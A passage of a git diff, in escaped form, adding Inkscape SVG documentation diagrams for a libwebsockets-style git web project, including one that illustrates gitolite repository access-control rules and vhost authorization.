0.38057-0.61758 1.0069-1.0115 1.5498-1.469 0.0621-0.084-0.25187 0.10632-0.3478 0.13793-0.0434 0.0214-0.0865 0.0407-0.12988 0.0608z\u0022 fill\u003d\u0022#e3bb2c\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-288.91-462.7-0.40438 1.0741 0.2653 0.44227 0.17698 0.44227-0.0759 0.29068 0.35383-0.15161-0.0129-0.21487-0.17698-0.48018-0.35383-0.32852z\u0022 fill\u003d\u0022#cc9028\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-291.27-462.34 0.0884 0.3159 0.1263 0.22741 0.12629 0.21487 0.0632 0.0244 0.0129 0.18951 0.0244 0.21486 0.20204-0.11364 0.41698-0.2274 0.42962-0.17698 0.20203-0.0884 0.0379 0.0129 0.0632 0.21488 0.15161 0.29067 0.17697 0.34118 0.10114 0.17696-0.0884 0.25279 0.0884 0.0759 0.31593-0.20204 0.36644-0.0504 0.25278-0.0115 0.18951-0.0244 0.48015-0.27784 0.0129 0.0379-0.50542 0.32854h-0.34118l-0.40434 0.0504-0.29069 0.17698-0.0129 0.0884 0.16413 0.0884-0.0504 0.0759-0.13907-0.12629-0.10115-0.11365-0.0884 0.0504-0.17698 0.0244-0.1263-0.0759 0.0129-0.0632 0.26532 0.0759 0.0632-0.0759-0.0379-0.1516 0.0379-0.17698-0.2274-0.51808-0.21488-0.40435-0.58126 0.2274-0.54337 0.31593-0.0632 0.11365 0.13908 0.0632 0.0759 0.0632-0.0379 0.0504-0.29067-0.21487-0.22741 0.0129v-0.0632l0.22741-0.0244-0.0244-0.36645-0.26531-0.42962-0.0759-0.24025z\u0022 fill\u003d\u0022#806600\u0022 stroke\u003d\u0022#a80\u0022 stroke-width\u003d\u0022.061131\u0022/\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-226.87 333.21-0.14882-0.0165-0.15297-0.0786-0.1943-0.13643-0.24391-0.0992-0.0455-0.12816-0.10336 8e-3 -0.1695-0.16536-0.1695-0.1447-0.401-0.39274-0.0785-8e-3 0.062 0.0661 0.78961 0.73587 0.3638 0.21497 0.55397 0.27699z\u0022 fill\u003d\u0022#e9ddaf\u0022 filter\u003d\u0022url(#s)\u0022/\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-224.81 333.27 0.86403 0.32246 0.5085-0.15297-0.0744-0.15709-0.48369 0.23151-0.0703-8e-3 -0.62426-0.22737z\u0022 fill\u003d\u0022#a0892c\u0022 filter\u003d\u0022url(#t)\u0022/\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-225.89 333.31 0.10524 0.19293 0.10524 0.10524 0.12862 0.0292 0.0935 0.0819 0.28648 0.11109 0.18709 0.0526 0.0819-0.0526 0.0526 0.15201 0.076 0.26309 0.0643 0.1637-0.21632-0.43264-0.13447-0.0819-0.21632-0.0585-0.15202-0.076-0.12277-0.076-0.0643-6e-3 -0.0935-0.0234-0.0877-0.0526-0.0877-0.0526z\u0022 fill\u003d\u0022#e0da73\u0022 filter\u003d\u0022url(#q)\u0022/\u003e\n+\t\t\t\u003crect x\u003d\u0022-382.39\u0022 y\u003d\u0022-371.59\u0022 width\u003d\u002220.024\u0022 height\u003d\u002221.798\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022-372.83511\u0022 y\u003d\u0022-358.23364\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.8786px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.73482\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-372.83511\u0022 y\u003d\u0022-358.23364\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.73482\u0022\u003ecache\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-224.59 332.84 0.1571 0.0331 0.19843-0.0165 0.14056-0.0248 0.10749-0.0909 0.27285-0.0413 0.19017 0.28938-0.24805 0.0331-0.19843 0.0827-0.1323 0.0248-0.24804-0.0992-0.32246-0.10749z\u0022 fill\u003d\u0022#a80\u0022 filter\u003d\u0022url(#u)\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022#d4aa00\u0022\u003e\n+\t\t\t\u003cpath transform\u003d\u0022matrix(3.0565 0 0 3.0565 401.07 -1477)\u0022 d\u003d\u0022m-225.67 332.78 0.33073 0.0827 0.1819-0.15707 0.41341-0.17363 0.17364 0.0992 0.0496-0.0992-0.0992-0.0496-0.0496-0.0248-0.45476 0.13229-0.22324 0.13229z\u0022 filter\u003d\u0022url(#r)\u0022/\u003e\n+\t\t\t\u003cg\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-282.4-461.58 0.11365-0.27784 0.40435 0.11365-0.13908 0.31589z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-280.97-461.19 0.11365-0.27784 0.40435 0.11364-0.13908 0.31589z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-281.16-459.73 0.15039-0.25979 0.38524 0.1675-0.18035 0.29403z\u0022/\u003e\n+\t\t\t\t\u003cpath d\u003d\u0022m-280.27-459.23 0.15038-0.25981 0.38524 0.16749-0.18032 0.29404z\u0022/\u003e\n+\t\t\t\u003c/g\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-291.73-458.46 0.35383 0.25277 0.39802 0.16414 0.37278 0.0759-6e-3 -0.10732-0.0632-0.0632-0.27785-0.17698-0.42332-0.18951-0.18309-0.0569-0.0884 0.0244z\u0022 fill\u003d\u0022#fff\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-287.16-457.99 0.1431 0.42888 0.67905-0.25032-0.16078-0.60758z\u0022 fill\u003d\u0022#d1e668\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-318.63-462.88c2.2782 2.6291 5.9992 4.7375 9.5155 3.4221 2.2088-0.87733 4.4969-3.0241 3.948-5.6234 0.0312-1.1017-2.0256-3.1178-1.2365-0.98855 0.53823 1.5393 0.0651 3.1351-1.2765 4.0674-1.1434 0.97858-2.7321 1.4401-4.2251 1.427-2.3253-0.45294-4.5583-1.3533-6.7253-2.3046z\u0022 fill\u003d\u0022#87cdde\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022-373.71854\u0022 y\u003d\u0022-332.34729\u0022 fill\u003d\u0022#4d4d4d\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00224.2582px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.53228\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-373.71854\u0022 y\u003d\u0022-332.34729\u0022\u003egitweb\u003c/tspan\u003e\u003ctspan x\u003d\u0022-373.71854\u0022 y\u003d\u0022-327.02454\u0022\u003econfig\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u0022-388.96\u0022 y\u003d\u0022-405.89\u0022 width\u003d\u002235.345\u0022 height\u003d\u002213.197\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022-371.20612\u0022 y\u003d\u0022-397.36557\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00225.8786px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.73482\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-371.20612\u0022 y\u003d\u0022-397.36557\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.73482\u0022\u003ethreadpool\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\t\u003crect x\u003d\u0022-340.79\u0022 y\u003d\u0022-409.11\u0022 width\u003d\u002248.727\u0022 height\u003d\u002223.358\u0022 fill\u003d\u0022#4d4d4d\u0022/\u003e\n+\t\t\t\u003ctext x\u003d\u0022-316.28238\u0022 y\u003d\u0022-393.91928\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u002212.909px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u00221.6136\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-316.28238\u0022 y\u003d\u0022-393.91928\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u00221.6136\u0022\u003elws\u003c/tspan\u003e\u003c/text\u003e\n+\t\t\u003c/g\u003e\n+\t\t\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#000\u0022\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-340.95-399.29h-12.289\u0022 marker-end\u003d\u0022url(#c)\u0022 marker-start\u003d\u0022url(#aa)\u0022 stroke-width\u003d\u00221.0285px\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-318.54-385.32v12.289\u0022 marker-end\u003d\u0022url(#l)\u0022 marker-start\u003d\u0022url(#ad)\u0022 stroke-width\u003d\u00221.0285px\u0022/\u003e\n+\t\t\t\u003cpath d\u003d\u0022m-312.01-422.4v12.289\u0022 marker-end\u003d\u0022url(#i)\u0022 marker-start\u003d\u0022url(#z)\u0022 stroke-width\u003d\u00221.8908\u0022/\u003e\n+\t\t\u003c/g\u003e\n+\t\u003c/g\u003e\n+\u003c/svg\u003e\ndiff --git a/doc/doc-assets/libjsongit2-acl.svg b/doc/doc-assets/libjsongit2-acl.svg\nnew file mode 100644\nindex 0000000..d74fe15\n--- /dev/null\n+++ b/doc/doc-assets/libjsongit2-acl.svg\n@@ -0,0 +1,3 @@\n+\u003c?xml version\u003d\u00221.0\u0022 encoding\u003d\u0022UTF-8\u0022?\u003e\n+\u003c!-- Created with Inkscape (http://www.inkscape.org/) --\u003e\n+\u003csvg width\u003d\u0022140mm\u0022 height\u003d\u002295.8mm\u0022 version\u003d\u00221.1\u0022 viewBox\u003d\u00220 0 140.13134 95.847728\u0022 xmlns\u003d\u0022http://www.w3.org/2000/svg\u0022 xmlns:cc\u003d\u0022http://creativecommons.org/ns#\u0022 xmlns:dc\u003d\u0022http://purl.org/dc/elements/1.1/\u0022 xmlns:rdf\u003d\u0022http://www.w3.org/1999/02/22-rdf-syntax-ns#\u0022\u003e\u003cdefs\u003e\u003cfilter id\u003d\u0022b\u0022 x\u003d\u0022-.0159\u0022 y\u003d\u0022-.0179\u0022 width\u003d\u00221.03\u0022 height\u003d\u00221.04\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.071411171\u0022/\u003e\u003c/filter\u003e\u003cfilter id\u003d\u0022a\u0022 x\u003d\u0022-.0201\u0022 y\u003d\u0022-.0299\u0022 width\u003d\u00221.04\u0022 height\u003d\u00221.06\u0022 color-interpolation-filters\u003d\u0022sRGB\u0022\u003e\u003cfeGaussianBlur stdDeviation\u003d\u00220.20045214\u0022/\u003e\u003c/filter\u003e\u003c/defs\u003e\u003cmetadata\u003e\u003crdf:RDF\u003e\u003ccc:Work rdf:about\u003d\u0022\u0022\u003e\u003cdc:format\u003eimage/svg+xml\u003c/dc:format\u003e\u003cdc:type rdf:resource\u003d\u0022http://purl.org/dc/dcmitype/StillImage\u0022/\u003e\u003cdc:title/\u003e\u003c/cc:Work\u003e\u003c/rdf:RDF\u003e\u003c/metadata\u003e\u003cg transform\u003d\u0022translate(502 -42.1)\u0022\u003e\u003crect transform\u003d\u0022matrix(5.62 0 0 5.62 516 -1.74e3)\u0022 x\u003d\u0022-181\u0022 y\u003d\u0022318\u0022 width\u003d\u002224\u0022 height\u003d\u002216.1\u0022 filter\u003d\u0022url(#a)\u0022/\u003e\u003crect x\u003d\u0022-501\u0022 y\u003d\u002243.9\u0022 width\u003d\u0022135\u0022 height\u003d\u002290.4\u0022 fill\u003d\u0022#fff\u0022/\u003e\u003cpath transform\u003d\u0022matrix(5.62 0 0 5.62 516 -1.74e3)\u0022 d\u003d\u0022m-173 322h-5.88c-0.705 0.146-1.08 0.895-1.02 1.57 0.0852 2.2 0.315 4.39 0.142 6.08-0.195 0.798 0.476 1.55 1.24 1.67 1.88 0.0472 4.03 0.306 5.58 0.27 0.644-0.17 0.721-0.919 0.644-1.47-0.0656-0.58-0.0649-1.35 0.553-1.64 0.693-0.326 1.78-2e-3 2.49-0.205 0.32-0.29 0.0571-0.327-0.149-0.387-0.849-0.0449-1.84-0.907-2.35-1.7-0.754-1.49 0.436-1.94-0.0149-3.07-0.243-0.524-0.293-0.66-0.74-0.982z\u0022 filter\u003d\u0022url(#b)\u0022/\u003e\u003crect x\u003d\u0022-441\u0022 y\u003d\u002260.6\u0022 width\u003d\u00229.82\u0022 height\u003d\u002268.2\u0022/\u003e\u003cpath d\u003d\u0022m-454 65.7h-33c-3.96 0.82-6.05 5.03-5.7 8.81 0.479 12.4 1.77 24.7 0.798 34.2-1.1 4.48 2.67 8.69 6.97 9.38 10.5 0.265 22.6 1.72 31.3 1.51 3.62-0.956 4.05-5.16 3.62-8.27-0.368-3.26-0.365-7.57 3.11-9.19 3.89-1.83 10-0.0115 14-1.15 1.79-1.63 0.321-1.84-0.834-2.18-4.77-0.252-10.3-5.09-13.2-9.57-4.24-8.38 2.45-10.9-0.0837-17.3-1.37-2.94-1.65-3.71-4.16-5.51z\u0022 fill\u003d\u0022#fff6d5\u0022/\u003e\u003cg fill\u003d\u0022#666\u0022\u003e\u003crect x\u003d\u0022-434\u0022 y\u003d\u002263\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022/\u003e\u003crect x\u003d\u0022-434\u0022 y\u003d\u002273.8\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022/\u003e\u003crect x\u003d\u0022-434\u0022 y\u003d\u002284.5\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022/\u003e\u003c/g\u003e\u003cg\u003e\u003crect x\u003d\u0022-433\u0022 y\u003d\u002295.1\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022 fill\u003d\u0022#fc0\u0022/\u003e\u003crect x\u003d\u0022-434\u0022 y\u003d\u0022106\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022 fill\u003d\u0022#666\u0022/\u003e\u003crect x\u003d\u0022-433\u0022 y\u003d\u0022117\u0022 width\u003d\u002211.4\u0022 height\u003d\u00229.02\u0022 fill\u003d\u0022#666\u0022/\u003e\u003ctext x\u003d\u0022-427.67505\u0022 y\u003d\u002299.119179\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00223.81px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.477\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.67505\u0022 y\u003d\u002299.119179\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003egitolite\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-427.72552\u0022 y\u003d\u0022102.75929\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00223.81px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.477\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.72552\u0022 y\u003d\u0022102.75929\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003e-admin\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003cg fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00223.81px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.477\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022\u003e\u003ctext x\u003d\u0022-427.81927\u0022 y\u003d\u002268.796104\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.81927\u0022 y\u003d\u002268.796104\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003erepo1\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-428.10443\u0022 y\u003d\u002279.995132\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-428.10443\u0022 y\u003d\u002279.995132\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003erepo2\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-427.91675\u0022 y\u003d\u002290.409317\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.91675\u0022 y\u003d\u002290.409317\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003erepo3\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-427.63528\u0022 y\u003d\u0022111.23765\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.63528\u0022 y\u003d\u0022111.23765\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003erepo4\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-427.54144\u0022 y\u003d\u0022122.02705\u0022 text-align\u003d\u0022center\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-427.54144\u0022 y\u003d\u0022122.02705\u0022 fill\u003d\u0022#ffffff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.477\u0022\u003erepo5\u003c/tspan\u003e\u003c/text\u003e\u003c/g\u003e\u003cg\u003e\u003crect x\u003d\u0022-416\u0022 y\u003d\u002260.5\u0022 width\u003d\u00227.38\u0022 height\u003d\u002269.1\u0022 fill\u003d\u0022#666\u0022/\u003e\u003crect x\u003d\u0022-403\u0022 y\u003d\u002260.4\u0022 width\u003d\u00227.38\u0022 height\u003d\u002269.1\u0022 fill\u003d\u0022#666\u0022/\u003e\u003ccircle cx\u003d\u0022-413\u0022 cy\u003d\u002267.3\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke\u003d\u0022#000\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003c/g\u003e\u003cg stroke\u003d\u0022#000\u0022\u003e\u003cpath d\u003d\u0022m-415 67.6 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003ccircle cx\u003d\u0022-413\u0022 cy\u003d\u0022121\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003cpath d\u003d\u0022m-415 121 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003ccircle cx\u003d\u0022-399\u0022 cy\u003d\u002288.9\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003cpath d\u003d\u0022m-402 89.1 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003c/g\u003e\u003ctext x\u003d\u0022-413.03647\u0022 y\u003d\u002250.16304\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00222.76px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.345\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-413.03647\u0022 y\u003d\u002250.16304\u0022 style\u003d\u0022line-height:1\u0022\u003evhost\u003c/tspan\u003e\u003ctspan x\u003d\u0022-413.03647\u0022 y\u003d\u002252.92186\u0022 style\u003d\u0022line-height:1\u0022\u003e\u0022acl_user\u0022\u003c/tspan\u003e\u003ctspan x\u003d\u0022-413.03647\u0022 y\u003d\u002255.680679\u0022 style\u003d\u0022line-height:1\u0022\u003e\u003ctspan fill\u003d\u0022#0000ff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.345\u0022\u003ev-myhost\u003c/tspan\u003e\u003c/tspan\u003e\u003c/text\u003e\u003cg stroke\u003d\u0022#000\u0022\u003e\u003ccircle cx\u003d\u0022-378\u0022 cy\u003d\u002267.5\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003cpath d\u003d\u0022m-381 67.7 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003ccircle cx\u003d\u0022-378\u0022 cy\u003d\u002288.9\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003cpath d\u003d\u0022m-381 89.1 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003ccircle cx\u003d\u0022-378\u0022 cy\u003d\u0022122\u0022 r\u003d\u00224.46\u0022 fill\u003d\u0022#0f0\u0022 stroke-width\u003d\u0022.562\u0022/\u003e\u003cpath d\u003d\u0022m-381 122 1.88 1.69 2.91-4.41\u0022 fill\u003d\u0022none\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003c/g\u003e\u003ctext x\u003d\u0022-399.20462\u0022 y\u003d\u002249.93663\u0022 fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 font-size\u003d\u00222.71px\u0022 letter-spacing\u003d\u00220px\u0022 stroke-width\u003d\u0022.339\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 word-spacing\u003d\u00220px\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-399.20462\u0022 y\u003d\u002249.93663\u0022 style\u003d\u0022line-height:1\u0022\u003econtext\u003c/tspan\u003e\u003ctspan x\u003d\u0022-399.20462\u0022 y\u003d\u002252.648468\u0022 style\u003d\u0022line-height:1\u0022\u003e\u0022authorized\u0022\u003c/tspan\u003e\u003ctspan x\u003d\u0022-399.20462\u0022 y\u003d\u002255.360302\u0022 style\u003d\u0022line-height:1\u0022\u003e\u003ctspan fill\u003d\u0022#0000ff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.339\u0022\u003emyuser\u003c/tspan\u003e\u003c/tspan\u003e\u003c/text\u003e\u003cpath d\u003d\u0022m-380 75.7 4.16 4.22\u0022 fill\u003d\u0022none\u0022 stroke\u003d\u0022#f00\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003cpath d\u003d\u0022m-376 75.7-4.18 4.18\u0022 fill\u003d\u0022#f00\u0022 stroke\u003d\u0022#f00\u0022 stroke-width\u003d\u00221.49px\u0022/\u003e\u003cg fill\u003d\u0022none\u0022 stroke\u003d\u0022#f00\u0022 stroke-width\u003d\u00221.49px\u0022\u003e\u003cpath d\u003d\u0022m-380 97.3 4.16 4.22\u0022/\u003e\u003cpath d\u003d\u0022m-376 97.3-4.18 4.18\u0022/\u003e\u003cpath d\u003d\u0022m-380 108 4.16 4.22\u0022/\u003e\u003cpath d\u003d\u0022m-376 108-4.18 4.18\u0022/\u003e\u003c/g\u003e\u003cg fill\u003d\u0022#000000\u0022 font-family\u003d\u0022'Open Sans'\u0022 letter-spacing\u003d\u00220px\u0022 word-spacing\u003d\u00220px\u0022\u003e\u003ctext x\u003d\u0022-488.3504\u0022 y\u003d\u002278.013237\u0022 font-size\u003d\u00224.55px\u0022 stroke-width\u003d\u0022.569\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u002278.013237\u0022\u003e\u003ctspan font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003erepo\u003c/tspan\u003e repo1\u003c/tspan\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u002283.701195\u0022\u003e R \u003d \u003ctspan fill\u003d\u0022#0000ff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003ev-myvhost\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u002289.389153\u0022\u003e\u003ctspan font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003erepo\u003c/tspan\u003e repo5\u003c/tspan\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u002295.07711\u0022\u003e R \u003d \u003ctspan fill\u003d\u0022#0000ff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003ev-myvhost\u003c/tspan\u003e\u003c/tspan\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u0022100.76507\u0022\u003e\u003ctspan font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003erepo\u003c/tspan\u003e repo3\u003c/tspan\u003e\u003ctspan x\u003d\u0022-488.3504\u0022 y\u003d\u0022106.45303\u0022\u003e R \u003d \u003ctspan fill\u003d\u0022#0000ff\u0022 font-family\u003d\u0022'Open Sans'\u0022 stroke-width\u003d\u0022.569\u0022\u003emyuser\u003c/tspan\u003e\u003c/tspan\u003e\u003c/text\u003e\u003ctext x\u003d\u0022-378.44226\u0022 y\u003d\u002253.439285\u0022 font-size\u003d\u00223.58px\u0022 stroke-width\u003d\u0022.448\u0022 text-align\u003d\u0022center\u0022 text-anchor\u003d\u0022middle\u0022 style\u003d\u0022font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1\u0022 xml:space\u003d\u0022preserve\u0022\u003e\u003ctspan x\u003d\u0022-378.44226\u0022 y\u003d\u002253.439285\u0022 style\u003d\u0022line-height:1\u0022\u003eeffective\u003c/tspan\u003e\u003ctspan x\u003d\u0022-378.44226\u0022 